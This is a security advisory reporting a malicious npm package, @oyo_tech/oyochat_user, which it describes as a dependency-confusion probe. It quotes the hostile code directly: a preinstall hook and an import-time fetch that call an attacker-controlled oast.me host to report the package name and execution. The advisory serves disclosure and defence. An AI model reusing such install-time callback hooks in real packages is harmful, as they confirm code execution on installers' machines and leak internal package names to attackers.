MAL-2026-14123 Malicious code in @oyo_tech/oyochat_user (npm)

@oyo_tech/[email protected] is a dependency-confusion probe. package.json declares a preinstall script that runs node -e "fetch('https://dc.installed.da24gtar47nuepat1pu053x3cgyweiaom.oast.me/'+process.env.npm_package_name)", causing npm install to make an outbound callback to an attacker-controlled interactsh (oast.me) subdomain and disclose that the package resolved on the installer's host. index.js additionally issues fetch("https://dc.executed.da24gtar47nuepat1pu053x3cgyweiaom.oast.me/oyochat_user") on require/import, signalling that the package was actually loaded by a build. Distinct installed. and executed. subdomains under the same attacker-controlled OAST token are used to stage install-vs-execute telemetry. The 99.99.99 version and scoped org name are consistent with a dependency-confusion attack targeting an internal package name. Installing this package confirms code execution on the installer's host to the attacker and exposes the internal package name; the same install-time execution primitive can be trivially upgraded to arbitrary payload delivery.

The OpenSSF Package Analysis project identified '@oyo_tech/oyochat_user' @ 100.0.0 (npm) as malicious.

It is considered malicious because:

• The package communicates with a domain associated with malicious activity.